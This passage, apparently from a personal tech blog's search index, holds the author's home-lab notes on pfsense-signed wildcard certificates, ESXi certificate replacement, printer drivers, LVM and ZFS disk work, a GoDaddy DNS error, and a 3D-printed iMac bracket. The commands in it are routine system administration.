})();\n","link":"https://dawning.ca/posts/maine-coon-kitty-hunt-round-1/","section":"posts","tags":["canada","cat","review","maine coon","kitten","breeder","ontario","adoption","experience","purebred","report"],"title":"Maine Coon Kitty Hunt: Round 1"},{"body":"","link":"https://dawning.ca/tags/ontario/","section":"tags","tags":null,"title":"Ontario"},{"body":"","link":"https://dawning.ca/tags/purebred/","section":"tags","tags":null,"title":"Purebred"},{"body":"","link":"https://dawning.ca/tags/report/","section":"tags","tags":null,"title":"Report"},{"body":"","link":"https://dawning.ca/tags/.ca/","section":"tags","tags":null,"title":".Ca"},{"body":"","link":"https://dawning.ca/tags/certificate-authority/","section":"tags","tags":null,"title":"Certificate Authority"},{"body":"","link":"https://dawning.ca/tags/free/","section":"tags","tags":null,"title":"Free"},{"body":"","link":"https://dawning.ca/tags/pfsense/","section":"tags","tags":null,"title":"Pfsense"},{"body":"","link":"https://dawning.ca/tags/self/","section":"tags","tags":null,"title":"Self"},{"body":" pfsense is a wonderful router appliance BSD distro that I\u0026rsquo;ve enjoyed for some years now.\nI use the pfsense certificate manager to issue certs for my VPN client devices. For my Internet-facing life, I have legit SSL certs for everything, I\u0026rsquo;ve a neurosis about it. But it\u0026rsquo;s bothered me that for my LAN servers, I\u0026rsquo;ve continued to use Self-Signed certs for interfaces. Today I fix that.\nHere are my notes on how to create and sign a wild-card SSL cert using pfsense for internal use. Note that this approach means you will make your own certificate authority which then must have its root cert installed on any machine you want to use your own certs.\nOn your pfsense box, create a Certificate Authority certificate (System \u0026gt; Cert. Manager \u0026gt; CAs).\nSomewhere, on some box with bash, fetch my SSL-kit from github. Use it to create a private key and CSR for your wildcard domain. Note that when you call my scripts, your domain name needs a *. prefix to function as a wildcard.\nBack on your pfsense box, create a certificate by signing the CSR you just made (System \u0026gt; Cert. Manager \u0026gt; Certificates \u0026gt; Sign a certificate signing request). Be sure to use the \u0026ldquo;Alternative Names\u0026rdquo; field to give your common name again. I found if I didn\u0026rsquo;t do this, Chrome would have an emotional episode issue (Safari was fine). Be sure to select a Server Certificate Certificate Type. Here\u0026rsquo;s an example: Now view the list of issued certificates under System \u0026gt; Cert. Manager \u0026gt; Certificates. For the cert you just created, download the cert by clicking the \u0026ldquo;Export Certificate\u0026rdquo; link. Use this .crt with your .key created by my ssl-kit earlier. You can install these two on your LAN machines.\nFor clients to accept the cert, you need to import your CA cert on them. The procedure will differ by OS. I use macOS largely on my desktops, so for them, I import the CA crt with Keychain Manager, to my login keychain. Once imported, then you need to find your cert in the list, double-click it and change the Trust settings to \u0026ldquo;Always Trust\u0026rdquo;.\nIf you want to use this cert with your pfsense installation itself, I found I had difficulty getting the Sign a certificate signing request interface to accept my private keys. But I just then exported the certificate as a totally external certificate which worked fine. You can change the SSL cert used by pfsense in the System \u0026gt; Advanced interface.\nAs usual, these instructions are mainly my personal notes to myself so I don\u0026rsquo;t waste my brain trying to remember trivial details that take time to rediscover. I hope this is of a bit of help to someone else.\nPS - I skimmed a bit of this document to help myself get this going, it\u0026rsquo;s certainly relevant.\n","link":"https://dawning.ca/posts/using-pfsense-to-sign-private-wildcard-ssl-certificates/","section":"posts","tags":["free","pfsense",".ca","ssl","self","certificate authority","wildcard"],"title":"Using pfsense to sign private wildcard SSL certificates"},{"body":"","link":"https://dawning.ca/tags/wildcard/","section":"tags","tags":null,"title":"Wildcard"},{"body":"","link":"https://dawning.ca/tags/custom/","section":"tags","tags":null,"title":"Custom"},{"body":"","link":"https://dawning.ca/tags/esxi/","section":"tags","tags":null,"title":"Esxi"},{"body":"","link":"https://dawning.ca/tags/personal/","section":"tags","tags":null,"title":"Personal"},{"body":"","link":"https://dawning.ca/tags/proper/","section":"tags","tags":null,"title":"Proper"},{"body":"","link":"https://dawning.ca/tags/replace/","section":"tags","tags":null,"title":"Replace"},{"body":"","link":"https://dawning.ca/tags/tls/","section":"tags","tags":null,"title":"Tls"},{"body":"","link":"https://dawning.ca/tags/vmware/","section":"tags","tags":null,"title":"Vmware"},{"body":"One of my weird hobbies is installing legitimate SSL certificates EVERYWHERE. Here\u0026rsquo;s steps for replacing the default self-signed garbage SSL certificates you get out of the box with VMware ESXi:\nSteps Get your SSL cert, obviously. You\u0026rsquo;ll need a .key file and a .crt. (If you need help at this stage, take a look at my SSL cert management scripts on github.) Enable SSH access to your ESXi box. Login as root over ssh. (If you don\u0026rsquo;t know about this, perhaps this whole process is not for you at this time) From your root ssh session to your ESXi box, follow these steps:\ncd /etc/vmware/ssl mv rui.crt orig.rui.crt mv rui.key orig.rui.key\nUse vi to open new rui.key and rui.crt files and paste in your own crt and key files. Restart services so your certs are in-play:\n/etc/init.d/hostd restart /etc/init.d/vpxa restart\nSources Replacing SSL certs: https://kb.vmware.com/s/article/2112277 Restarting services: https://kb.vmware.com/s/article/1003490\nRant It\u0026rsquo;s insane to actually expose your ESXi host to the public internet. So if you use this to do that, know that you confuse (and disgust) me.\nIf not for public exposure, why bother with proper SSL certs? Well, I like having my crap squared-away. It doesn\u0026rsquo;t matter to me if the world sees it, or only I. Besides, I get SSL certificates for dirt-cheap and I often have wildcard certs too, so the financial cost to me is between little and nothing and the emotional reward, for my weird persona, is quite vast.\nDisclaimer You\u0026rsquo;re reading this off my personal blog. So, if you think there\u0026rsquo;s some kind of warranty, you\u0026rsquo;re mistaken, there is no promise here. This is my blog, a kind of online journal, meant mostly to self-compensate for my own imperfect memory. Do what you will, even let me know how it goes if you want. But I owe you nothing. Besides, all I\u0026rsquo;ve really done is make a concise note from from two VMware docs.\nAnyway, consider liabilities on my part totally waived and disclaimed. Follow along at your own risk.\nGood luck, and have tons of fun!\n-James T Snell, the only\n","link":"https://dawning.ca/posts/vmware-esxi-6-5-replacing-the-default-ssl-tls-certificates/","section":"posts","tags":["esxi","vmware","custom","ssl","personal","proper","replace","tls"],"title":"VMware ESXi 6.5 - Replacing the default SSL/TLS certificates"},{"body":"","link":"https://dawning.ca/tags/10.13/","section":"tags","tags":null,"title":"10.13"},{"body":"","link":"https://dawning.ca/tags/download/","section":"tags","tags":null,"title":"Download"},{"body":"","link":"https://dawning.ca/tags/driver/","section":"tags","tags":null,"title":"Driver"},{"body":"","link":"https://dawning.ca/categories/hacks/","section":"categories","tags":null,"title":"Hacks"},{"body":"","link":"https://dawning.ca/categories/hardware/","section":"categories","tags":null,"title":"Hardware"},{"body":"","link":"https://dawning.ca/tags/high-sierra/","section":"tags","tags":null,"title":"High Sierra"},{"body":" The highly retro monochrome laser printer, Samsung ML-1610, continues to work just fine on macOS 10.13 High Sierra. However, getting driver support took me a long time to figure out a while ago. I got something worked out for macOS 10.12 (Sierra) and posted about it here.\nTo my great surprise, my old post on getting this going has become the most popular, heavily visited post on dawning.ca. So\u0026hellip; I\u0026rsquo;ve revised things and spun this in to what I\u0026rsquo;m calling \u0026ldquo;ml1610-blaster\u0026rdquo;. There\u0026rsquo;s a github repo hosting it, here: ml1610-blaster.git\nHow to get ML-1610 working under macOS 10.13 High Sierra Download Click here for ml1610-blaster-1.0, as released on github.\nInstallation Steps Download the release zip: here\u0026rsquo;s a link.\nUnzip the release zip somewhere, pay attention where.\nRun the splix installer. It WILL FAIL. But it seems to succeed enough in some way that matters. (You\u0026rsquo;ll probably have to go through your Security settings to get the installer to open)\nOpen your System Preferences, go in to Printers and click the plus button to add a new one.\nOpt to select your own driver and navigate to the unzipped files, pick the ml1610.ppd file.\nHistorical Click here to see my older post on how to get this going on macOS 10.12 Sierra. I suspect these newer steps will work entirely on Sierra and probably older releases, but just in case, I\u0026rsquo;ve given you this link.\nFun/weird/pointless facts The screencast was done on a MacPro5,1 running High Sierra 10.13. (It\u0026rsquo;s using a MacPro4,1 video card, but is an actual 5,1, not a flashed 4,1)\nMy ML-1610 is accessible to me over Bonjour because my ML-1610 is plugged in to an Airport Express (1st gen). Hence, my machines print to this ancient USB device wirelessly.\nThe Samsung ML-1610 supported Windows 98.\nIt was claimed that the host computer required at least 64MB of memory (My wrist watch has 8x more RAM than that).\nI\u0026rsquo;m unsure what year the ML-1610 came out, but it was before 2006.\n","link":"https://dawning.ca/posts/ml1610-blaster-drivers-for-samsung-ml1610-on-macos-high-sierra/","section":"posts","tags":["download","driver","OSX","macOS","samsung","ml-1610","ml1610","printer","laser","high sierra","10.13"],"title":"Introducing ml1610-blaster - how you get a Samsung ML-1610 to work on macOS 10.13"},{"body":"","link":"https://dawning.ca/tags/laser/","section":"tags","tags":null,"title":"Laser"},{"body":"","link":"https://dawning.ca/tags/ml-1610/","section":"tags","tags":null,"title":"Ml-1610"},{"body":"","link":"https://dawning.ca/tags/ml1610/","section":"tags","tags":null,"title":"Ml1610"},{"body":"","link":"https://dawning.ca/tags/printer/","section":"tags","tags":null,"title":"Printer"},{"body":"","link":"https://dawning.ca/tags/samsung/","section":"tags","tags":null,"title":"Samsung"},{"body":"","link":"https://dawning.ca/tags/accessibility/","section":"tags","tags":null,"title":"Accessibility"},{"body":"","link":"https://dawning.ca/tags/apple-script/","section":"tags","tags":null,"title":"Apple Script"},{"body":"","link":"https://dawning.ca/tags/customizations/","section":"tags","tags":null,"title":"Customizations"},{"body":"","link":"https://dawning.ca/tags/system-preferences/","section":"tags","tags":null,"title":"System Preferences"},{"body":"I\u0026rsquo;m working on my next update for my goofy little macOS application Trash Talker. This app heavily leverages macOS\u0026rsquo;s built-in Speech Synthesis engine.\nI wanted to add some user-support to help them edit the available voices. I could have just written-out instructions, but reading is for the literate. It took me a while to find a method that I guess will be a good starting point, which is to invoke an Apple Script to direct System Preferences to the right location.\nAfter some hours (I\u0026rsquo;ve never looked at Apple Script before), I cobbled-together a working solution:\nI\u0026rsquo;ve posted the code for this in gitlab, so have fun with that.\nHere\u0026rsquo;s a direct link to the actual Apple Script.\n","link":"https://dawning.ca/posts/using-apple-script-to-launch-system-preferences-in-to-highly-specific-location/","section":"posts","tags":["macOS","apple script","system preferences","accessibility","voice","customizations"],"title":"Using Apple Script to launch System Preferences in to highly specific location"},{"body":"","link":"https://dawning.ca/categories/videos/","section":"categories","tags":null,"title":"Videos"},{"body":"","link":"https://dawning.ca/tags/voice/","section":"tags","tags":null,"title":"Voice"},{"body":"","link":"https://dawning.ca/tags/app/","section":"tags","tags":null,"title":"App"},{"body":"","link":"https://dawning.ca/tags/ios/","section":"tags","tags":null,"title":"Ios"},{"body":"One of my iOS apps is Search Site, is a little functional thing I made mainly to help familiarize myself with the full workflow of iOS app development. (IE, it\u0026rsquo;s a glorified Hello, World! app). It\u0026rsquo;s been released for free for a few months and has had very few downloads.\nIn the last month, it has suddenly started getting a relatively large amount of attention, specifically from Asia. I decided to try making it non-free, so I set it to the minimum possible paid value, $1CAD. After a week I decided to make it free again, for now.\nSee if you can tell when it wasn\u0026rsquo;t free: My plan with it is to leave it free, but perhaps release an improved version that also has banner ads that can be paid to go away. For now, I\u0026rsquo;ll just enjoy that there\u0026rsquo;s a user-base growing for this cute little application.\n","link":"https://dawning.ca/posts/ios-app-to-free-or-not-to-free-that-is-the-question/","section":"posts","tags":["free","app","ios","search site"],"title":"iOS App: To Free, or not to Free, that is the question"},{"body":"","link":"https://dawning.ca/tags/search-site/","section":"tags","tags":null,"title":"Search Site"},{"body":" Yeah, I don\u0026rsquo;t know where that is\u0026hellip;..\nIn other words:\n404: Page Not Found\n","link":"https://dawning.ca/pages/four-oh-four/","section":"pages","tags":null,"title":"Content not found"},{"body":"","link":"https://dawning.ca/pages/","section":"pages","tags":null,"title":"Pages"},{"body":"","link":"https://dawning.ca/tags/disk/","section":"tags","tags":null,"title":"Disk"},{"body":"","link":"https://dawning.ca/tags/ext4/","section":"tags","tags":null,"title":"Ext4"},{"body":"","link":"https://dawning.ca/tags/failed/","section":"tags","tags":null,"title":"Failed"},{"body":"","link":"https://dawning.ca/tags/linux/","section":"tags","tags":null,"title":"Linux"},{"body":"","link":"https://dawning.ca/tags/loss/","section":"tags","tags":null,"title":"Loss"},{"body":"","link":"https://dawning.ca/tags/lvm/","section":"tags","tags":null,"title":"Lvm"},{"body":" Above: To the right is my hovel at the cottage I setup during my holiday-time-well-spent playing with ddrescue\nI had an awesome LVM for nearly 15 years. It saw me through high school, 8 years of post-secondary nerding and then some years after. The drives involved came and went, as I perpetually upgraded it. I loved it dearly. At its peak, it was comprised of 7 drives. Inevitably, the Seagate-reaper came to visit and the LVM was no more. It might have persisted, but I was younger and crazier and I took the striped path to ruin.\nWhen it finally died, 2/3 drives were the Make \u0026amp; Model and both died pretty such in the same moment. They\u0026rsquo;d lived together in parallel their entire (upsettingly brief) lives. I used the opportunity to learn of ddrescue and I managed to recover about 99% of one of the drives. The other drive was a lost cause (and I tried some serious hardware stuff with it, as I have some skills in that arena). I know how I might recover THAT data, but it wasn\u0026rsquo;t worth the effort as I had backups of most of the good stuff and the whole thing was just an archive anyway.\nAfter my efforts with ddrescue, 2.5years passed. I had other projects and pressures so the whole thing sat. Today I said it\u0026rsquo;s time to use the remaining good hardware. And so, I attempted to access what data I could. ddresuce had rendered me a file representing the one drive. I easily mounted it as a loopback device. I followed this guide to deal with the other fully missing drive. With that done, the LVM was alive again, but of course the filesystem was in ruin. It turns out, running FSCK against a large volume takes a lot of memory. There is a flag to getting fsck to store its data structures on disk, but it seemed with each run, it was gradually fixing different issues before running out of memory. So I threw-down yet another ugly little script (here). After a few runs of that, I could mount my LVM-backed file system again! And I was surprised to see a large amount of my data was accessible once again.\nSo if you too have lost one or more drives from you LVM. Take your time and give recovery a shot. Also, go use FreeNAS (or similar).\nNow, to scale my freenas to accommodate a silly burst in data.\n","link":"https://dawning.ca/posts/lvm-recovery-bedtime-story-the-tale-of-the-journey-home-for-some-long-lost-bytes/","section":"posts","tags":["linux","loss","recovery","freenas","lvm","storage","failed","disk","ext4"],"title":"LVM Recovery Bedtime Story: The tale of the journey home for some long lost bytes"},{"body":"","link":"https://dawning.ca/tags/storage/","section":"tags","tags":null,"title":"Storage"},{"body":"","link":"https://dawning.ca/tags/2017/","section":"tags","tags":null,"title":"2017"},{"body":"","link":"https://dawning.ca/tags/add-disk/","section":"tags","tags":null,"title":"Add Disk"},{"body":"Back in 2013 I cobbled together a little guide within a post on the FreeNAS users forum on how to add drive to an existing ZFS volume and convert it in to a mirrored volume. I can\u0026rsquo;t at all remember even writing this little thing, but recent discussion in the old forum over it brought in to doubt whether or not the method would still work. So I spooled-up a VM with the latest FreeNAS (FreeNAS 11) and tried it out. Yup. Still works, see:\nZFS: Adding a drive to create a mirror Here\u0026rsquo;s a somewhat updated version of the guide:\nObviously there\u0026rsquo;s no warranty. Have backups, etc. I\u0026rsquo;m just some dude on the Internet, so, you know, you\u0026rsquo;re on your own \u0026lsquo;/dev/adaX\u0026rsquo; below is the drive being added, obviously if you get this wrong, you will be very sad. \u0026lsquo;MyPoolName\u0026rsquo; is the name of your storage pool you\u0026rsquo;re adding the drive to gpart create -s gpt /dev/adaX\ngpart add -b 128 -t freebsd-swap -s 2G /dev/adaX\ngpart add -t freebsd-zfs /dev/adaX\nRun zpool status and note the gptid of the existing disk\nRun gpart list and find the gptid of the newly created partition. It is the rawuuid field. In this example it would be rawuuid of adaXp2\nzpool attach MyPoolName /dev/gptid/[gptid_of_the_existing_disk] /dev/gptid/[gptid_of_the_new_partition]\nWith that done, you can run a zpool status and you\u0026rsquo;ll see there\u0026rsquo;s now the additional rawuuid involved, as a mirror member.\n","link":"https://dawning.ca/posts/freenas-11-add-a-drive-to-create-a-mirrored-zfs-volume/","section":"posts","tags":["freenas","zfs","mirror","2017","add disk"],"title":"FreeNAS 11 Add a drive to create a mirrored ZFS volume"},{"body":"","link":"https://dawning.ca/tags/mirror/","section":"tags","tags":null,"title":"Mirror"},{"body":"","link":"https://dawning.ca/tags/6.5/","section":"tags","tags":null,"title":"6.5"},{"body":"","link":"https://dawning.ca/tags/dell-690/","section":"tags","tags":null,"title":"Dell 690"},{"body":"","link":"https://dawning.ca/tags/installer/","section":"tags","tags":null,"title":"Installer"},{"body":"","link":"https://dawning.ca/tags/unsupported-cpu/","section":"tags","tags":null,"title":"Unsupported CPU"},{"body":" I picked up a Dell 690 from an e-recycler for $11. I picked it out knowing that I can kit-it-out with 64GB of slow DDR2 FBDIMM RAM for about $80 and I can replace the CPUs to get to 8 threads for another $30ish. I somewhat foolishly assumed VMware ESXi 6.5 would just run on this rig. I was wrong, kind of.\nAnnoyingly, this motherboard seems fully electrically compatible with CPUs that are both dirt-cheap and supported by ESXi, however after a fair search of the internet, I found that the bios does not support such CPUs. The most conclusive findings I encountered were these.\nI considered modifying ESXi itself, but it appears it legitimately needs something not supported by the CPUs compatible with the 690\u0026rsquo;s board. I think I read somewhere that Live Migration depends on a certain CPU feature. I got extra annoyed since I never use Live Migration (as I live on free VMware Licenses in my home lab).\nThe \u0026ldquo;solution\u0026rdquo; that seems to be working perfectly fine was to simply install ESXi on another machine and put the OS drive on the 690 afterwards. I\u0026rsquo;ve done this and I can report that it boots fine and I created a quick Photon OS VM to confirm it works at all. I half-way expect to find something important doesn\u0026rsquo;t work, but the Web UI functions fine (which is why I\u0026rsquo;m pushing for 6.5, else 6.0 would have been okay) and VMs appear functional. So.. Mission Accomplished? This garbage rig is already better than a Quad Core rig I\u0026rsquo;ve used and depended upon for years.\nI\u0026rsquo;m feeling good. I may upgrade the CPUs to lower TDP ones and get myself to 8 CPU threads along the way. I think I\u0026rsquo;ll go for 64GB of slower FBDIMM memory first. I couldn\u0026rsquo;t care less that it\u0026rsquo;s \u0026ldquo;slow\u0026rdquo;. It\u0026rsquo;s way faster than swap/page files. ;)\nNow to get back to my actual project. Murah ha ha ha ha.\n","link":"https://dawning.ca/posts/vmware-esxi-hypervisor-on-unsupported-dell-690/","section":"posts","tags":["esxi","vmware","6.5","dell 690","unsupported CPU","installer"],"title":"VMware ESXi 6.5 Hypervisor on Dell 690"},{"body":"","link":"https://dawning.ca/tags/bulk/","section":"tags","tags":null,"title":"Bulk"},{"body":"","link":"https://dawning.ca/tags/command-line/","section":"tags","tags":null,"title":"Command-Line"},{"body":"","link":"https://dawning.ca/tags/directories/","section":"tags","tags":null,"title":"Directories"},{"body":"","link":"https://dawning.ca/tags/folders/","section":"tags","tags":null,"title":"Folders"},{"body":"","link":"https://dawning.ca/tags/rename/","section":"tags","tags":null,"title":"Rename"},{"body":"","link":"https://dawning.ca/tags/unix/","section":"tags","tags":null,"title":"Unix"},{"body":"Here\u0026rsquo;s a magic-trick I rock from time to time. I only graze the basic abilities of the \u0026ldquo;rename\u0026rdquo; program, but even in my basic use of it, I find it super helpful.\nIn this case, I had a situation where my eBooks had been resorted from a massive flat directory in to one containing sub-dirs named with the prefix \u0026ldquo;Categories - \u0026ldquo;. I might have sorted them in another manner if I didn\u0026rsquo;t know about the rename command. When I was done sorting and thus left with my category-based directories, I then wanted to rename each dir to dump the prefix.\nA simple call to rename is all it takes: rename \u0026quot;s/[what to find]/[what to replace it with]/\u0026quot; *\nIn that above case, I feed rename a listing of everything in the current working directory since I ended the command with a star. Anyway, I\u0026rsquo;m glossing over a lot of details as this isn\u0026rsquo;t meant to teach about the command-line, regular expressions or much else. My point here is simply that this \u0026lsquo;rename\u0026rsquo; program is awesome and I adore using it.\nInstallation macOS users can install it through homebrew: brew install rename.\nLinux/BSD users can typically install rename via their package managers, such as: sudo apt install rename\nWindows 10 users can get it through the Linux subsystem, if you enable it and then install it like illustrated above.\n","link":"https://dawning.ca/posts/unix-magic-trick-rename-stuff-in-bulk/","section":"posts","tags":["command-line","unix","macOS","rename","bulk","directories","folders"],"title":"Unix Magic Trick: Rename stuff in bulk"},{"body":"New Version A newer version is here. I now call this ml1610-blaster.\nI have a trusty Samsung ML-1610 printer that I think I bought for like $90 back around 2003. It\u0026rsquo;s been an outstanding little cheapie that so far has seen me through two undergrad programs and is now seeing my wife through her third such program. Overall, it\u0026rsquo;s unremarkable, but I like it enough to keep it going.\nI\u0026rsquo;ve long-since used SpliX to get it to work under more recent versions of macOS. Lately, I\u0026rsquo;ve found splix\u0026rsquo;s installer fails to complete (I suspect SIP is in the way). And so this post exists to help me keep track of what I\u0026rsquo;ve done to install it on my wreckless fleet of macs.\nI even have a newer better printer, but I scored a whole new toner cartridge for the 1610 for dirt-cheap. So I want to keep my ML-1610 going and if this toner lasts as long as the last cartridge, I\u0026rsquo;ll be in my late 90s by the time it runs out.\nSetup the ML-1610 under macOS Sierra (etc) Here are the steps that got it working for most recently:\n\\t- Create ~/Printers/ and copy in my Samsung driver dumpster archive\n\\t- Extract the archive in to ~/Printers/\n\\t- Run the SpliX 2.0 installer from the extracted archive. It will fail to complete, but succeed enough that the rest will work.\n\\t- Open System Preferences \u0026gt; Printers \u0026amp; Scanners, click the plus to add a new printer.\n\\t- Select the printer from the list of detected printers (in my case it\u0026rsquo;s seen via Bonjour)\n\\t- Under Use, select Other\u0026hellip;, navigate to ~/Printers and go find usr/share/cups/model/samsung/ select the ppd file for the printer (ml1610.ppd, in my case)\n\\t- Click Add\nIf you get the error message: The software for the printer was installed incorrectly. Please reinstall the software from the manufacturer.\nYou probably failed to run the Splix installer. Indeed it does fail to complete. But the attempt at running it led to the printer then working when I added it.\nEpilogue The SpliX driver for the ML-1610 has never been rock-solid. I\u0026rsquo;ve found I occasionally have to attempt a print more than once. It\u0026rsquo;s minor to me, but would annoy certain personalities. This is the cost of rotting driver support for a device that\u0026rsquo;s probably no longer widely used. It\u0026rsquo;s kind of sad because it\u0026rsquo;s a perfectly fine printer for modern use. But folks reading this far probably do have one and by now it\u0026rsquo;s working for them again.\nTo anyone who freaks-out because their 15yr old $90 printer occasionally takes two print attempts to work, go buy a new printer, you cheap fuck.\n","link":"https://dawning.ca/posts/printer-samsung-ml-1610-on-macos-10-12-sierra/","section":"posts","tags":["driver","macOS","sierra","samsung","ml-1610","splix","spi"],"title":"Dear Diary: Samsung ML-1610 on macOS 10.12 Sierra"},{"body":"","link":"https://dawning.ca/tags/sierra/","section":"tags","tags":null,"title":"Sierra"},{"body":"","link":"https://dawning.ca/tags/spi/","section":"tags","tags":null,"title":"Spi"},{"body":"","link":"https://dawning.ca/tags/splix/","section":"tags","tags":null,"title":"Splix"},{"body":"","link":"https://dawning.ca/tags/bind/","section":"tags","tags":null,"title":"Bind"},{"body":"","link":"https://dawning.ca/tags/bind9/","section":"tags","tags":null,"title":"Bind9"},{"body":"I\u0026rsquo;ve been working out a tolerable dynamic DNS solution for myself lately. After much effort, I\u0026rsquo;ve settled on running my own bind server (I last did this like 12 years ago, hah). I\u0026rsquo;ve written simple scripts that handle it for me and they work fine. However, I found for many of my domains hosted by GoDaddy, I couldn\u0026rsquo;t get it to use my new nameservers. Godaddy would let me switch my nameservers, but then they\u0026rsquo;d revert to their previous settings and I\u0026rsquo;d get an email containing the helpful message:\nError: Authorization error; 6007\nAfter about a 45min phone call, followed by about another 45mins in their chat system, I now know what that means, at least, in my case. The thing I\u0026rsquo;m \u0026ldquo;doing wrong\u0026rdquo; is that I must give two DNS servers. I don\u0026rsquo;t actually care or need to do this, so I just gave the same one server with different alias hostnames. This was fine for .com domains. But my .ca domains wouldn\u0026rsquo;t do it. Turns out .ca\u0026rsquo;s operator actually checks the nameserver\u0026rsquo;s IP addresses and if they\u0026rsquo;re not different, the change is rejected. I would assuming GoDaddy\u0026rsquo;s 6007 message code is generic for a failure/rejection of the upstream registrar to accept a nameserver change request.\nSo in my case I\u0026rsquo;ll have to find another IP address for my \u0026ldquo;second\u0026rdquo; DNS server. I suppose I\u0026rsquo;ll simply install bind and replicate (or something) my records to it using a little raspberry pi I have at my parent\u0026rsquo;s place.\nUpdate 2017-04-16 I\u0026rsquo;ve since setup two additional dns servers to use authoritatively with my .ca domains and yet the problem remains. A subsequent support call to Godaddy has directed me to this document with CIRA\u0026rsquo;s nameserver requirements: https://ca.godaddy.com/help/about-ca-domains-4663?v=1\nUpdate 2017-04-21 The pain continues. I\u0026rsquo;ve had many different conversations with GoDaddy which haven\u0026rsquo;t entirely gone anywhere. The best I\u0026rsquo;ve found thus far is they have a bit of a buried interface that seems to be specific to making \u0026ldquo;glue\u0026rdquo; DNS records (instructions here). This will let you define records for your domain that map only to IPs (I like CNAMES). This isn\u0026rsquo;t really a solution for my situation as I want to use nameservers from another domain (and that domain uses dynamically mapped names for the nameservers, since it\u0026rsquo;s a collection of machines on regular residential connections).\nAs I try to figure it out with GoDaddy, I\u0026rsquo;ve opened this discussion forum thread. Also, I decided to try another registrar (easydns). Their support seems a lot easier to reach and they seem a lot closer to helping me find the actual issue, however overall, no real extra traction there. Sigh. More to come\u0026hellip;.\nUpdate 2017-04-22 I\u0026rsquo;ve had a few more conversations with godaddy and no real progress. I wager none of their customers do much outside of the default DNS hosting. So, I bet GD\u0026rsquo;s support isn\u0026rsquo;t well-equipped to handle off-roading.\nI decided to setup a new domain under the .info TLD and use it for resolution to my nameservers (which I updated all my authoritative records to match too). I found this caused a different error message in the GoDaddy interface. When I tried to save the nameserver settings in godaddy each given nameservers\u0026rsquo; line went red and was called \u0026ldquo;Unavailable\u0026rdquo;. The form returned an overall error message of \u0026ldquo;The data provided cannot be used, please correct it and resubmit your request.\u0026rdquo;, as per below:\nWhile Godaddy\u0026rsquo;s UI rejects my .info records, I\u0026rsquo;ve found that easydns\u0026rsquo; interface actually accepts them.\nConclusion (as of 2017-04-22) I think I\u0026rsquo;ve experienced two problems here.\nCIRA likes .ca nameservers defined as glue records The main issue is that the .ca TLD operator (CIRA) has some strict requirements with particular respect to using other .ca domains to provide authoritative service for other .ca domains. Glue records are the prescribed solution. This is a garbage solution in my view, because glue records cannot be dynamically updated. CIRA would probably tell you that if you can\u0026rsquo;t afford 2+ static IPs, then you have no business hosting your own DNS. I think such an explanation is more likely just declaring some unexpected behaviour/limitation in a system as a \u0026ldquo;feature\u0026rdquo;. And as a requirement, actual static IPs would be fine for basically everyone out there running DNS. But I\u0026rsquo;m a cheap fuck geek with resources and skills. So I go against the grain. My .ca domains run great using my own privately operated dns servers. Not under my original .ca domain I used, but under my new .info one, this glue requirement is not a fundamental requirement of DNS. So, one take-away is don\u0026rsquo;t bother hosting your own authoritative dns servers under a .ca hostname, unless you don\u0026rsquo;t mind using static glue records.\nGoDaddy\u0026rsquo;s Nameservers UI is too smart for your own good(?)\nI\u0026rsquo;m sure overall Godaddy\u0026rsquo;s custom nameserver gui is more-or-less fine for basically all their customers. But it immediately rejects my nameservers when hosted under .info. Godaddy\u0026rsquo;s first tier support is not equipped to help navigate this. I\u0026rsquo;ve talked with them over about 3 weeks over the phone, online chat and through email. I\u0026rsquo;ve been directed to their glue record interface several times; they don\u0026rsquo;t even really understand me when I tell them what I\u0026rsquo;m doing. I don\u0026rsquo;t blame them though, it\u0026rsquo;s probably well outside of their typical use case.\nOverall, I don\u0026rsquo;t mind switching to a sort of more expensive registrar. I\u0026rsquo;m tired of sales calls and bait \u0026amp; switch deals. This stuff is common in business, but I severely care not for it. I never buy any of the extras either. My first and oldest domain has been with easydns and while they\u0026rsquo;re not the cheapest, they seem straight-forward, lean and knowledgable. And they\u0026rsquo;ve never called me. Damn straight. I\u0026rsquo;ve been moving my stuff their way and so far it feels like an improvement.\nFinal thoughts The real goal with all this crap was to simply get \u0026ldquo;cheap\u0026rdquo; dynamic dns support for my multiple domains. I have a fairly decent infrastructure and skills, so it just felt stupid to pay for this service. My IPs rarely change, but it\u0026rsquo;s enough to cause occasional embarrassment and I will no longer tolerate it. EasyDNS does offer a very easy to use dynamic dns service which works great, but it does cost. Interestingly, my .info domain I mention above I registered with zoneedit, who\u0026rsquo;s actually owned by easydns. I was able to setup dynamic dns service with zoneedit for half of what it costs at easydns. Funny since it\u0026rsquo;s now the same company and the UI\u0026rsquo;s are basically identical.\n","link":"https://dawning.ca/posts/dear-diary-godaddy-error-code-6007/","section":"posts","tags":["canada","godaddy","error code",".ca","bind","bind9","dynamic dns"],"title":"Dear Diary: GoDaddy Error Code 6007"},{"body":"","link":"https://dawning.ca/tags/dynamic-dns/","section":"tags","tags":null,"title":"Dynamic Dns"},{"body":"","link":"https://dawning.ca/tags/error-code/","section":"tags","tags":null,"title":"Error Code"},{"body":"","link":"https://dawning.ca/tags/godaddy/","section":"tags","tags":null,"title":"Godaddy"},{"body":"","link":"https://dawning.ca/tags/2010/","section":"tags","tags":null,"title":"2010"},{"body":"","link":"https://dawning.ca/tags/27/","section":"tags","tags":null,"title":"27"},{"body":"","link":"https://dawning.ca/tags/3d-print/","section":"tags","tags":null,"title":"3d Print"},{"body":" One of my delightful neuroses is collecting abandoned non-functioning macs and fixing them. Last week I managed to pick up a completely dead 2010 one for $174, all parts included, just totally dead. Today I got the carcus of another for $51 (no screen, no memory, no motherboard, no glass). The carcus\u0026rsquo; power supply happens to work and the $174 unit\u0026rsquo;s problem was exactly that - a dead PSU.\nI needed a hard drive bracket/strap/clamp and had none. I measured as best I could with my plastic callipers (seriously the most useful tool of all time, maybe more useful than computers themselves). I used Sketchup to CAD a little hack to do the job. It\u0026rsquo;s not pretty and I\u0026rsquo;m a bit concerned about how hot these things can get, but I figure \u0026ldquo;meh, fuck it\u0026rdquo;.\nI\u0026rsquo;ve published the file for the mount on thingiverse: http://www.thingiverse.com/thing:2152134\nPS - these open and exposed PSU-guts have taught me a little about AC shocks. As a Computer Engineer, my preferred domain is low-voltage DC. Frick. AC makes me a little twitchy now. ;)\n","link":"https://dawning.ca/posts/3d-printed-hard-drive-mount-for-27-imac/","section":"posts","tags":["apple","2010","27","hard drive","imac","3d print","support","bracket","mount","strap"],"title":"3D Printed Hard Drive mount for 27\" 